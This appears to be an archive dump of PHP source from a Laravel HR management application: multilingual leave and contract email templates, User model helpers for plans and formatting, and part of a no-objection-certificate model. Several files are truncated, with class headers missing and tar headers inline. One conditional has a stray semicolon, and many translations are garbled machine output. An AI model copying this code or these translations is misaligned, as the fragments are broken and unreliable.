We request you to complete all your pending work or any other important issue so that the company does not face any loss or problem during your absence. We appreciate your thoughtfulness to inform us well in advance

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RR.HH./Empresa para enviar la carta de aprobación a {leave_status} unas vacaciones o permisos.

Estimado {leave_status_name},

Tengo {leave_status} la solicitud de licencia para {leave_reason} de {leave_start_date} a {leave_end_date}.

{total_leave_days} días tengo {leave_status} la solicitud de licencia para {leave_reason}.

Le solicitamos que complete todos sus trabajos pendientes o cualquier otro asunto importante para que la empresa no se enfrente a ninguna pérdida o problema durante su ausencia. Agradecemos su atención para informarnos con mucha antelación

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -HR department / Company to send approval letter to { leave_status } a vacances or leave.

Cher { leave_status_name },

Jai { leave_statut } votre demande de congé pour { leave_reason } de { leave_start_date } à { leave_date_fin }.

{ total_leave_days } jours I have { leave_status } your leave request for { leave_reason }.

Nous vous demandons de remplir tous vos travaux en cours ou toute autre question importante afin que lentreprise ne soit pas confrontée à une perte ou à un problème pendant votre absence. Nous apprécions votre attention pour nous informer longtemps à lavance

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di approvazione a {leave_status} una vacanza o un congedo.

Caro {leave_status_name},

Ho {leave_status} la tua richiesta di permesso per {leave_reason} da {leave_start_date} a {leave_end_date}.

{total_leave_days} giorni I ho {leave_status} la tua richiesta di permesso per {leave_reason}.

Ti richiediamo di completare tutte le tue lavorazioni in sospeso o qualsiasi altra questione importante in modo che lazienda non faccia alcuna perdita o problema durante la tua assenza. Apprezziamo la vostra premura per informarci bene in anticipo

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名: 承認レターを { leave_status} に送信するには、 -HR 部門/会社が休暇または休暇を入力します。

{leave_status_name} を終了します。

{ leave_reason } の { leave_start_date} から {leave_end_date}までの { leave_status} の終了要求を { leave_status} しています。

{total_leave_days} 日に { leave_reason}{ leave_status} に対するあなたの休暇要求があります。

お客様は、お客様の不在中に損失や問題が発生しないように、保留中のすべての作業またはその他の重要な問題を完了するよう要求します。 私たちは、前もってお知らせすることに感謝しています。

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf voor het verzenden van een goedkeuringsbrief aan { leave_status } een vakantie of verlof.

Geachte { leave_status_name },

Ik heb { leave_status } uw verzoek om verlof voor { leave_reason } van { leave_start_date } tot { leave_end_date }.

{ total_leave_days } dagen Ik heb { leave_status } uw verzoek om verlof voor { leave_reason }.

Wij vragen u om al uw lopende werk of een andere belangrijke kwestie, zodat het bedrijf geen verlies of probleem tijdens uw afwezigheid geconfronteerd. We waarderen uw bedachtzaamheid om ons van tevoren goed te informeren.

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat: -Dział kadr/Firma wysyłająca list zatwierdzający do {leave_status } wakacji lub urlopów.

Drogi {leave_status_name },

Mam {leave_status } żądanie pozostania dla {leave_reason } od {leave_start_date } do {leave_end_date }.

{total_leave_days } dni Mam {leave_status } Twoje żądanie opuszczenia dla {leave_reason }.

Prosimy o wypełnienie wszystkich oczekujących prac lub innych ważnych kwestii, tak aby firma nie borykała się z żadną stratą lub problemem w czasie Twojej nieobecności. Doceniamy Twoją przemyślność, aby poinformować nas dobrze z wyprzedzeniem

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания отправить письмо с утверждением на { leave_status } отпуск или отпуск.

Уважаемый { leave_status_name },

У меня { leave_status } ваш запрос на отпуск для { leave_reason } из { leave_start_date } в { leave_end_date }.

{ total_leave_days } дней { leave_status } ваш запрос на отпуск для { leave_reason }.

Мы просим вас завершить все ваши ожидающие работы или любой другой важный вопрос, чтобы компания не сталкивалась с потерей или проблемой во время вашего отсутствия. Мы ценим вашу задумчивость, чтобы заблаговременно информировать нас о

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de aprovação para {leave_status} férias ou licença.

Querido {leave_status_name},

Eu tenho {leave_status} sua solicitação de licença para {leave_reason} de {leave_start_date} para {leave_end_date}.

{total_leave_days} dias eu tenho {leave_status} o seu pedido de licença para {leave_reason}.

Solicitamos que você complete todo o seu trabalho pendente ou qualquer outra questão importante para que a empresa não enfrente qualquer perda ou problema durante a sua ausência. Agradecemos a sua atenciosidade para nos informar com bastante antecedência

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-Onay yazısının gönderileceği İK departmanı/Şirket {leave_status} tatil ya da izin.

Sayın {leave_status_name},

Sahibim {leave_status} için izin talebiniz {leave_reason} itibaren {leave_start_date} ile {leave_end_date}.

{total_leave_days} sahip olduğum günler {leave_status}  için izin talebiniz {leave_reason}.

Şirketin yokluğunuz sırasında herhangi bir kayıp veya sorunla karşılaşmaması için bekleyen tüm işlerinizi veya diğer önemli hususlarınızı tamamlamanızı rica ederiz. Bizi önceden bilgilendirme konusundaki düşünceniz için teşekkür ederiz

 

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-人力资源部门/公司发送批准函 {leave_status} 休假或请假.

亲爱的 {leave_status_name},

我有 {leave_status} 您的请假申请 {leave_reason} 从 {leave_start_date} 到 {leave_end_date}.

{total_leave_days} 我有的日子 {leave_status}  您的请假申请 {leave_reason}.

我们要求您完成所有未完成的工作或任何其他重要问题,以便公司在您缺席期间不会面临任何损失或问题。感谢您的周到提前通知我们

 

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

Subject:-מחלקת משאבי אנוש/חברה לשלוח אליה מכתב אישור {leave_status} חופשה או חופשה.

יָקָר {leave_status_name},

יש לי {leave_status} בקשת החופשה שלך עבור {leave_reason} מ {leave_start_date} ל {leave_end_date}.

{total_leave_days} ימים שיש לי {leave_status}  בקשת החופשה שלך עבור {leave_reason}.

אנו מבקשים מכם להשלים את כל העבודה הממתינה או כל נושא חשוב אחר על מנת שהחברה לא תעמוד בפני כל אובדן או בעיה במהלך היעדרותכם. אנו מעריכים את התחשבותך להודיע ​​לנו זמן רב מראש

 

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de aprovação para {leave_status} férias ou licença.

Querido {leave_status_name},

Eu tenho {leave_status} sua solicitação de licença para {leave_reason} de {leave_start_date} para {leave_end_date}.

{total_leave_days} dias eu tenho {leave_status} o seu pedido de licença para {leave_reason}.

Solicitamos que você complete todo o seu trabalho pendente ou qualquer outra questão importante para que a empresa não enfrente qualquer perda ou problema durante a sua ausência. Agradecemos a sua atenciosidade para nos informar com bastante antecedência

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'contract' => [ 'subject' => 'Contract', 'lang' => [ 'ar' => '

مرحبا { contract_employee }

العقد : { contract_subject }

Sتاريخ البدء: { contract_start_date }

تاريخ الانتهاء: { contract_end_date }

اتطلع للسمع منك.

Regards Regards ،

{company_name}

', 'da' => '

Hej { contract_employee }

Aftaleemne: { contract_subject }

Start-dato: { contract_start_date }

Slutdato: { contract_end_date }

Ser frem til at høre fra dig.

Kærlig hilsen

{company_name}

', 'de' => '

{contract_employee}

Vertragssubjekt: {contract_subject}

tart-Datum: {contract_start_date}

Sluttdato :{contract_end_date}

Freuen Sie sich auf die von Ihnen zu hörenden Informationen.

-Regards,

{company_name}

', 'en' => '

Hi {contract_employee}

Contract Subject: {contract_subject}

Start Date: {contract_start_date}

End Date: {contract_end_date}

Looking forward to hear from you.

Kind Regards,

{company_name}

', 'es' => '

Hi {contract_employee}

de contrato: {contract_subject}

Start Date: {contract_start_date}

Fecha de finalización: {contract_end_date}

Con ganas de escuchar de usted.

Regards de tipo,

{contract_name}

', 'fr' => '

{ contract_employee }

Objet du contrat: { contract_subject }

SDate de début: { contract_start_date }

Date de fin: { contract_end_date }

Vous avez hâte de vous entendre.

Kind Regards

{company_name}

', 'it' => '

Ciao {contract_employee}

Oggetto Contratto: {contract_subject}

SData tarte: {contract_start_date}

Data di fine: {contract_end_date}

Non vedo lora di sentire da te.

Kind indipendentemente,

{company_name}

', 'ja' => '

ハイ {contract_employee}

契約件名: {契約対象}

Start Date: {contract_start_date}

終了日: {contract_end_date}

お客様から連絡をお待ちしています。

クインド・レード

{company_name}

', 'nl' => '

Hi { contract_employee }

Contractonderwerp: { contract_subject }

Start Date: { contract_start_date }

Einddatum: { contract_end_date }

Ik kijk ernaar uit om van u te horen.

Soort Regards,

{company_name}

', 'pl' => '

Hi {contract_employee}

Temat umowy: {contract_subject}

Sdata tartu: {contract_start_date}

Data zakończenia: {contract_end_date}

Nie można się doczekać, aby usłyszeć od użytkownika.

Regaty typu,

{company_name}

', 'ru' => '

Привет { contract_employee }

Тема договора: { contract_subject }

Sдата запуска: { contract_start_date }

Дата окончания: { contract_end_date }

С нетерпением ожидаю услышать от вас.

Карты вида,

{company_name}

', 'pt' => '

Oi {contract_employee}

Assunto do Contrato: {contract_subject}

Start Date: {contract_start_date}

Data de término: {contract_end_date}

Olhando para a frente para ouvir de você.

Kind Considerar,

{company_name}

', 'tr' => '

MERHABA {contract_employee}

Sözleşme Konusu: {contract_subject}

SBaşlangıç ​​tarihi: {contract_start_date}

Bitiş tarihi: {contract_end_date}

senden haber bekliyorum.

Saygılarımla,

{company_name}

', 'zh' => '

你好 {contract_employee}

合同主体: {contract_subject}

开始日期: {contract_start_date}

结束日期: {contract_end_date}

期待着听到您的意见.

亲切的问候,

{company_name}

', 'he' => '

היי {contract_employee}

נושא החוזה: {contract_subject}

תאריך התחלה: {contract_start_date}

תאריך סיום: {contract_end_date}

מצפה לשמוע ממך.

בברכה,

{company_name}

', 'pt-br' => '

Oi {contract_employee}

Assunto do Contrato: {contract_subject}

Start Date: {contract_start_date}

Data de término: {contract_end_date}

Olhando para a frente para ouvir de você.

Kind Considerar,

{company_name}

', ], ], ]; $email = EmailTemplate::all(); foreach ($email as $e) { foreach ($defaultTemplate[$e->slug]['lang'] as $lang => $content) { EmailTemplateLang::create( [ 'parent_id' => $e->id, 'lang' => $lang, 'subject' => $defaultTemplate[$e->slug]['subject'], 'content' => $content, ] ); } } } public function currentLanguage() { return $this->lang; } public function creatorId() { if ($this->type == 'company' || $this->type == 'super admin') { return $this->id; } else { return $this->created_by; } } public static function employeeIdFormat($number) { $settings = Utility::settings(); return $settings["employee_prefix"] . sprintf("%05d", $number); } public function getBranch($branch_id) { $branch = Branch::where('id', '=', $branch_id)->first(); return $branch; } public function getLeaveType($leave_type) { $leavetype = LeaveType::where('id', '=', $leave_type)->first(); return $leavetype; } public function getEmployee($employee) { $employee = Employee::where('id', '=', $employee)->first(); return $employee; } public function getDepartment($department_id) { $department = Department::where('id', '=', $department_id)->first(); return $department; } public function getDesignation($designation_id) { $designation = Designation::where('id', '=', $designation_id)->first(); return $designation; } public function getUser($user) { $user = User::where('id', '=', $user)->first(); return $user; } public function userEmployee() { $userEmployee = User::select('id')->where('created_by', '=', Auth::user()->creatorId())->where('type', '=', 'employee')->get(); return $userEmployee; } public function getUSerEmployee($id) { $employee = Employee::where('user_id', '=', $id)->first(); return $employee; } public function priceFormat($price) { $settings = Utility::settings(); return (($settings['site_currency_symbol_position'] == "pre") ? $settings['site_currency_symbol'] : '') . number_format($price, 2) . (($settings['site_currency_symbol_position'] == "post") ? $settings['site_currency_symbol'] : ''); } public function currencySymbol() { $settings = Utility::settings(); return $settings['site_currency_symbol']; } public function dateFormat($date) { $settings = Utility::settings(); return date($settings['site_date_format'], strtotime($date)); } public function timeFormat($time) { $settings = Utility::settings(); return date($settings['site_time_format'], strtotime($time)); } public function DateTimeFormat($date) { $settings = Utility::settings(); $date_formate = !empty($settings['site_date_format']) ? $settings['site_date_format'] : 'd-m-y'; $time_formate = !empty($settings['site_time_format']) ? $settings['site_time_format'] : 'H:i'; return date($date_formate . ' ' . $time_formate, strtotime($date)); } public function getPlan() { return $this->hasOne('App\Models\Plan', 'id', 'plan'); } public function assignPlan($planID) { $plan = Plan::find($planID); if ($plan) { $this->plan = $plan->id; if ($this->trial_expire_date != null); { $this->trial_expire_date = null; } if ($plan->duration == 'month') { $this->plan_expire_date = Carbon::now()->addMonths(1)->isoFormat('YYYY-MM-DD'); } elseif ($plan->duration == 'year') { $this->plan_expire_date = Carbon::now()->addYears(1)->isoFormat('YYYY-MM-DD'); } // elseif($plan->duration == 'Lifetime') // { // $this->plan_expire_date = Carbon::now()->addYears(10)->isoFormat('YYYY-MM-DD'); // } else { $this->plan_expire_date = null; } $this->save(); $users = User::where('created_by', '=', \Auth::user()->creatorId())->where('type', '!=', 'super admin')->where('type', '!=', 'company')->where('type', '!=', 'employee')->get(); $employees = User::where('created_by', '=', \Auth::user()->creatorId())->where('type', 'employee')->get(); if ($plan->max_users == -1) { foreach ($users as $user) { $user->is_active = 1; $user->save(); } } else { $userCount = 0; foreach ($users as $user) { $userCount++; if ($userCount <= $plan->max_users) { $user->is_active = 1; $user->save(); } else { $user->is_active = 0; $user->save(); } } } if ($plan->max_employees == -1) { foreach ($employees as $employee) { $employee->is_active = 1; $employee->save(); } } else { $employeeCount = 0; foreach ($employees as $employee) { $employeeCount++; if ($employeeCount <= $plan->max_employees) { $employee->is_active = 1; $employee->save(); } else { $employee->is_active = 0; $employee->save(); } } } return ['is_success' => true]; } else { return [ 'is_success' => false, 'error' => 'Plan is deleted.', ]; } } public function countUsers() { return User::where('type', '!=', 'super admin')->where('type', '!=', 'company')->where('type', '!=', 'employee')->where('created_by', '=', $this->creatorId())->count(); } public function countEmployees() { return Employee::where('created_by', '=', $this->creatorId())->count(); } public function countCompany() { return User::where('type', '=', 'company')->where('created_by', '=', $this->creatorId())->count(); } public function countOrder() { return Order::count(); } public function countplan() { return Plan::count(); } public function contractNumberFormat($number) { $settings = Utility::settings(); return $settings["contract_prefix"] . sprintf("%05d", $number); } public function countPaidCompany() { return User::where('type', '=', 'company')->whereNotIn( 'plan', [ 0, 1, ] )->where('created_by', '=', \Auth::user()->id)->count(); } public function planPrice() { $user = \Auth::user(); if ($user->type == 'super admin') { $userId = $user->id; } else { $userId = $user->created_by; } return \DB::table('settings')->where('created_by', '=', $userId)->get()->pluck('value', 'name'); } public function currentPlan() { return $this->hasOne('App\Models\Plan', 'id', 'plan'); } public function unread() { return Message::where('from', '=', $this->id)->where('is_read', '=', 0)->count(); } public function employee() { return $this->hasOne('App\Models\Employee', 'user_id', 'id'); } public static function userDefaultData() { // Make Entry In User_Email_Template $allEmail = EmailTemplate::all(); foreach ($allEmail as $email) { UserEmailTemplate::create( [ 'template_id' => $email->id, 'user_id' => 2, 'is_active' => 1, ] ); } } public function userDefaultDataRegister($user_id) { // Make Entry In User_Email_Template $allEmail = EmailTemplate::all(); foreach ($allEmail as $email) { UserEmailTemplate::create( [ 'template_id' => $email->id, 'user_id' => $user_id, 'is_active' => 0, ] ); } } function dateDiffInDays($date1, $date2) { $diff = strtotime($date2) - strtotime($date1); return abs(round($diff / 86400)); } // public function asset(){ // return $this->hasOneThrough( // Asset::class, // employee::class, // 'user_id', // 'employee_id', // 'id', // 'id' // ); // } } Models/Travel.php000064400000000706150364306410007742 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/NOC.php000064400000102305150364306410007122 0ustar00 '-', 'employee_name' => '-', 'designation' => '-', 'app_name' => '-', ]; foreach($obj as $key => $val) { $arrValue[$key] = $val; } $settings = Utility::settings(); $arrValue['app_name'] = env('APP_NAME'); return str_replace($arrVariable, array_values($arrValue), $content); } public static function defaultNocCertificate() { $defaultTemplate = [ 'ar' => '

شهادة عدم ممانعة

التاريخ: {date}

إلى من يهمه الأمر

هذه الشهادة مخصصة للمطالبة بشهادة عدم ممانعة (NoC) للسيدة / السيد {employee_name} إذا انضمت إلى أي مؤسسة أخرى وقدمت خدماتها / خدماتها. يتم إبلاغه لأنه قام بتصفية جميع أرصدته واستلام أمانه من شركة {app_name}.

نتمنى لها / لها التوفيق في المستقبل.

بإخلاص،

{employee_name}

{designation}

التوقيع

{app_name}

', 'da' => '

Ingen indsigelsesattest

Dato: {date}

Til hvem det måtte vedrøre

Dette certifikat er for at gøre krav på et No Objection Certificate (NoC) for Ms. / Mr. {employee_name}, hvis hun/han tilslutter sig og leverer sine tjenester til enhver anden organisation. Det informeres, da hun/han har udlignet alle sine saldi og modtaget sin sikkerhed fra {app_name}-virksomheden.

Vi ønsker hende/ham held og lykke i fremtiden.

Med venlig hilsen

{employee_name}

{designation}

Underskrift

{app_name}

', 'de' => '

Kein Einwand-Zertifikat

Datum {date}

Wen auch immer es betrifft

Dieses Zertifikat soll ein Unbedenklichkeitszertifikat (NoC) für Frau / Herrn {employee_name} beanspruchen, wenn sie/er einer anderen Organisation beitritt und ihre/seine Dienste anbietet. Sie wird informiert, da sie/er alle ihre/seine Guthaben ausgeglichen und ihre/seine Sicherheit von der Firma {app_name} erhalten hat.

Wir wünschen ihr/ihm viel Glück für die Zukunft.

Aufrichtig,

{employee_name}

{designation}

Unterschrift

{app_name}

', 'en' => '

No Objection Certificate

Date: {date}

To Whomsoever It May Concern

This certificate is to claim a No Objection Certificate (NoC) for Ms. / Mr. {employee_name} if she/he joins and provides her/his services to any other organization. It is informed as she/he has cleared all her/his balances and received her/his security from {app_name} Company.

We wish her/him good luck in the future.

Sincerely,

{employee_name}

{designation}

Signature

{app_name}

', 'es' => '

Certificado de conformidad

Fecha: {date}

A quien corresponda

Este certificado es para reclamar un Certificado de No Objeción (NoC) para la Sra. / Sr. {employee_name} si ella / él se une y brinda sus servicios a cualquier otra organización. Se informa que él/ella ha liquidado todos sus saldos y recibido su seguridad de {app_name} Company.

Le deseamos buena suerte en el futuro.

Sinceramente,

{employee_name}

{designation}

Firma

{app_name}

', 'fr' => '

Aucun certificat dopposition

Date : {date}

À toute personne concernée

Ce certificat sert à réclamer un certificat de non-objection (NoC) pour Mme / M. {employee_name} sil rejoint et fournit ses services à toute autre organisation. Il est informé quil a soldé tous ses soldes et reçu sa garantie de la part de la société {app_name}.

Nous lui souhaitons bonne chance pour lavenir.

Sincèrement,

{employee_name}

{designation}

Signature

{app_name}

', 'id' => '

Sertifikat Tidak Keberatan

Tanggal: {date}

Kepada Siapa Pun Yang Memprihatinkan

Sertifikat ini untuk mengklaim No Objection Certificate (NoC) untuk Ibu / Bapak {employee_name} jika dia bergabung dan memberikan layanannya ke organisasi lain mana pun. Diberitahukan karena dia telah melunasi semua saldonya dan menerima jaminannya dari Perusahaan {app_name}.

Kami berharap dia sukses di masa depan.

Sungguh-sungguh,

{employee_name}

{designation}

Tanda tangan

{app_name}

', 'it' => '

Certificato di nulla osta

Data: {date}

A chi può interessare

Questo certificato serve a richiedere un certificato di non obiezione (NoC) per la signora / il signor {employee_name} se si unisce e fornisce i suoi servizi a qualsiasi altra organizzazione. Viene informato in quanto ha liquidato tutti i suoi saldi e ricevuto la sua sicurezza dalla società {app_name}.

Le auguriamo buona fortuna per il futuro.

Cordiali saluti,

{employee_name}

{designation}

Firma

{app_name}

', 'ja' => '

異議なし証明書

日付: {date}

関係者各位

この証明書は、Ms. / Mr. {employee_name} が他の組織に参加してサービスを提供する場合に、異議なし証明書 (NoC) を請求するためのものです。彼女/彼/彼がすべての残高を清算し、{app_name} 会社から彼女/彼のセキュリティを受け取ったことが通知されます。

彼女/彼の今後の幸運を祈っています。

心から、

{employee_name}

{designation}

サイン

{app_name}

', 'nl' => '

Geen bezwaarcertificaat

Datum: {date}

Aan wie het ook aangaat

Dit certificaat is bedoeld om aanspraak te maken op een Geen Bezwaarcertificaat (NoC) voor mevrouw/dhr. {employee_name} als zij/hij lid wordt en haar/zijn diensten verleent aan een andere organisatie. Het wordt geïnformeerd als zij/hij al haar/zijn saldos heeft gewist en haar/zijn zekerheid heeft ontvangen van {app_name} Company.

We wensen haar/hem veel succes in de toekomst.

Eerlijk,

{employee_name}

{designation}

Handtekening

{app_name}

', 'pl' => '

Certyfikat braku sprzeciwu

Data: {date}

Do kogo to może dotyczyć

Ten certyfikat służy do ubiegania się o Certyfikat No Objection Certificate (NoC) dla Pani/Pana {employee_name}, jeśli ona/ona dołącza i świadczy swoje usługi na rzecz jakiejkolwiek innej organizacji. Jest o tym informowany, ponieważ wyczyścił wszystkie swoje salda i otrzymał swoje zabezpieczenie od firmy {app_name}.

Życzymy jej/jej powodzenia w przyszłości.

Z poważaniem,

{employee_name}

{designation}

Podpis

{app_name}

', 'pt' => '

Certificado de não objeção

Data: {date}

A quem interessar

Este certificado é para reivindicar um Certificado de Não Objeção (NoC) para a Sra. / Sr. {employee_name} se ela ingressar e fornecer seus serviços a qualquer outra organização. É informado que ela cancelou todos os seus saldos e recebeu sua garantia da empresa {app_name}.

Desejamos-lhe boa sorte no futuro.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', 'ru' => '

Сертификат об отсутствии возражений

Дата: {date}

Кого бы это ни касалось

Этот сертификат предназначен для получения Сертификата об отсутствии возражений (NoC) для г-жи / г-на {employee_name}, если она / он присоединяется и предоставляет свои услуги любой другой организации. Сообщается, что она/он очистила все свои балансы и получила свою безопасность от компании {app_name}.

Мы желаем ей/ему удачи в будущем.

Искренне,

{employee_name}

{designation}

Подпись

{app_name}

', 'tr' => '

İtiraz Yok Belgesi

Tarih: {date}

İlgilenebilecek Kişiye

Bu sertifika, Bayan / Bay için bir İtiraz Yok Sertifikası (NoC) talep etmek içindir {employee_name} başka bir kuruluşa katılır ve hizmet verirse. Tüm bakiyelerini kapattığı ve teminatını aldığı bilgisi verilir {app_name} Şirket.

Kendisine gelecekte iyi şanslar diliyoruz.

Samimi olarak,

{employee_name}

{designation}

İmza

{app_name}

', 'zh' => '

无异议证书

日期: {date}

致相关负责人

此证书旨在为女士/先生申请无异议证书(NoC)。{employee_name} 如果她/他加入任何其他组织并向其提供服务。据了解,她/他已结清所有余额并从以下机构收到她/他的担保: {app_name} 公司.

我们祝她/他未来好运.

真挚地,

{employee_name}

{designation}

签名

{app_name}

', 'he' => '

אין תעודת התנגדות

תַאֲרִיך: {date}

לכל מאן דבעי

תעודה זו מיועדת לתבוע אישור ללא התנגדות (NoC) עבור גב / מר. {employee_name} אם הוא/ה מצטרף ומספק את שירותיו/ה לכל ארגון אחר. זה מודיע כפי שהיא / הוא פינה את כל היתרות שלה / שלו וקיבל את האבטחה שלה / שלו {app_name} חֶברָה.

אנו מאחלים לו/לה בהצלחה בעתיד.

בכנות,

{employee_name}

{designation}

חֲתִימָה

{app_name}

', 'pt-br' => '

Certificado de não objeção

Data: {date}

A quem interessar

Este certificado é para reivindicar um Certificado de Não Objeção (NoC) para a Sra. / Sr. {employee_name} se ela ingressar e fornecer seus serviços a qualquer outra organização. É informado que ela cancelou todos os seus saldos e recebeu sua garantia da empresa {app_name}.

Desejamos-lhe boa sorte no futuro.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', ]; foreach($defaultTemplate as $lang => $content) { NOC::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => 2, ] ); } } public static function defaultNocCertificateRegister($user_id) { $defaultTemplate = [ 'ar' => '

شهادة عدم ممانعة

التاريخ: {date}

إلى من يهمه الأمر

هذه الشهادة مخصصة للمطالبة بشهادة عدم ممانعة (NoC) للسيدة / السيد {employee_name} إذا انضمت إلى أي مؤسسة أخرى وقدمت خدماتها / خدماتها. يتم إبلاغه لأنه قام بتصفية جميع أرصدته واستلام أمانه من شركة {app_name}.

نتمنى لها / لها التوفيق في المستقبل.

بإخلاص،

{employee_name}

{designation}

التوقيع

{app_name}

', 'da' => '

Ingen indsigelsesattest

Dato: {date}

Til hvem det måtte vedrøre

Dette certifikat er for at gøre krav på et No Objection Certificate (NoC) for Ms. / Mr. {employee_name}, hvis hun/han tilslutter sig og leverer sine tjenester til enhver anden organisation. Det informeres, da hun/han har udlignet alle sine saldi og modtaget sin sikkerhed fra {app_name}-virksomheden.

Vi ønsker hende/ham held og lykke i fremtiden.

Med venlig hilsen

{employee_name}

{designation}

Underskrift

{app_name}

', 'de' => '

Kein Einwand-Zertifikat

Datum {date}

Wen auch immer es betrifft

Dieses Zertifikat soll ein Unbedenklichkeitszertifikat (NoC) für Frau / Herrn {employee_name} beanspruchen, wenn sie/er einer anderen Organisation beitritt und ihre/seine Dienste anbietet. Sie wird informiert, da sie/er alle ihre/seine Guthaben ausgeglichen und ihre/seine Sicherheit von der Firma {app_name} erhalten hat.

Wir wünschen ihr/ihm viel Glück für die Zukunft.

Aufrichtig,

{employee_name}

{designation}

Unterschrift

{app_name}

', 'en' => '

No Objection Certificate

Date: {date}

To Whomsoever It May Concern

This certificate is to claim a No Objection Certificate (NoC) for Ms. / Mr. {employee_name} if she/he joins and provides her/his services to any other organization. It is informed as she/he has cleared all her/his balances and received her/his security from {app_name} Company.

We wish her/him good luck in the future.

Sincerely,

{employee_name}

{designation}

Signature

{app_name}

', 'es' => '

Certificado de conformidad

Fecha: {date}

A quien corresponda

Este certificado es para reclamar un Certificado de No Objeción (NoC) para la Sra. / Sr. {employee_name} si ella / él se une y brinda sus servicios a cualquier otra organización. Se informa que él/ella ha liquidado todos sus saldos y recibido su seguridad de {app_name} Company.

Le deseamos buena suerte en el futuro.

Sinceramente,

{employee_name}

{designation}

Firma

{app_name}

', 'fr' => '

Aucun certificat dopposition

Date : {date}

À toute personne concernée

Ce certificat sert à réclamer un certificat de non-objection (NoC) pour Mme / M. {employee_name} sil rejoint et fournit ses services à toute autre organisation. Il est informé quil a soldé tous ses soldes et reçu sa garantie de la part de la société {app_name}.

Nous lui souhaitons bonne chance pour lavenir.

Sincèrement,

{employee_name}

{designation}

Signature

{app_name}

', 'id' => '

Sertifikat Tidak Keberatan

Tanggal: {date}

Kepada Siapa Pun Yang Memprihatinkan

Sertifikat ini untuk mengklaim No Objection Certificate (NoC) untuk Ibu / Bapak {employee_name} jika dia bergabung dan memberikan layanannya ke organisasi lain mana pun. Diberitahukan karena dia telah melunasi semua saldonya dan menerima jaminannya dari Perusahaan {app_name}.

Kami berharap dia sukses di masa depan.

Sungguh-sungguh,

{employee_name}

{designation}

Tanda tangan

{app_name}

', 'it' => '

Certificato di nulla osta

Data: {date}

A chi può interessare

Questo certificato serve a richiedere un certificato di non obiezione (NoC) per la signora / il signor {employee_name} se si unisce e fornisce i suoi servizi a qualsiasi altra organizzazione. Viene informato in quanto ha liquidato tutti i suoi saldi e ricevuto la sua sicurezza dalla società {app_name}.

Le auguriamo buona fortuna per il futuro.

Cordiali saluti,

{employee_name}

{designation}

Firma

{app_name}

', 'ja' => '

異議なし証明書

日付: {date}

関係者各位

この証明書は、Ms. / Mr. {employee_name} が他の組織に参加してサービスを提供する場合に、異議なし証明書 (NoC) を請求するためのものです。彼女/彼/彼がすべての残高を清算し、{app_name} 会社から彼女/彼のセキュリティを受け取ったことが通知されます。

彼女/彼の今後の幸運を祈っています。

心から、

{employee_name}

{designation}

サイン

{app_name}

', 'nl' => '

Geen bezwaarcertificaat

Datum: {date}

Aan wie het ook aangaat

Dit certificaat is bedoeld om aanspraak te maken op een Geen Bezwaarcertificaat (NoC) voor mevrouw/dhr. {employee_name} als zij/hij lid wordt en haar/zijn diensten verleent aan een andere organisatie. Het wordt geïnformeerd als zij/hij al haar/zijn saldos heeft gewist en haar/zijn zekerheid heeft ontvangen van {app_name} Company.

We wensen haar/hem veel succes in de toekomst.

Eerlijk,

{employee_name}

{designation}

Handtekening

{app_name}

', 'pl' => '

Certyfikat braku sprzeciwu

Data: {date}

Do kogo to może dotyczyć

Ten certyfikat służy do ubiegania się o Certyfikat No Objection Certificate (NoC) dla Pani/Pana {employee_name}, jeśli ona/ona dołącza i świadczy swoje usługi na rzecz jakiejkolwiek innej organizacji. Jest o tym informowany, ponieważ wyczyścił wszystkie swoje salda i otrzymał swoje zabezpieczenie od firmy {app_name}.

Życzymy jej/jej powodzenia w przyszłości.

Z poważaniem,

{employee_name}

{designation}

Podpis

{app_name}

', 'pt' => '

Certificado de não objeção

Data: {date}

A quem interessar

Este certificado é para reivindicar um Certificado de Não Objeção (NoC) para a Sra. / Sr. {employee_name} se ela ingressar e fornecer seus serviços a qualquer outra organização. É informado que ela cancelou todos os seus saldos e recebeu sua garantia da empresa {app_name}.

Desejamos-lhe boa sorte no futuro.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', 'ru' => '

Сертификат об отсутствии возражений

Дата: {date}

Кого бы это ни касалось

Этот сертификат предназначен для получения Сертификата об отсутствии возражений (NoC) для г-жи / г-на {employee_name}, если она / он присоединяется и предоставляет свои услуги любой другой организации. Сообщается, что она/он очистила все свои балансы и получила свою безопасность от компании {app_name}.

Мы желаем ей/ему удачи в будущем.

Искренне,

{employee_name}

{designation}

Подпись

{app_name}

', 'tr' => '

İtiraz Yok Belgesi

Tarih: {date}

İlgilenebilecek Kişiye

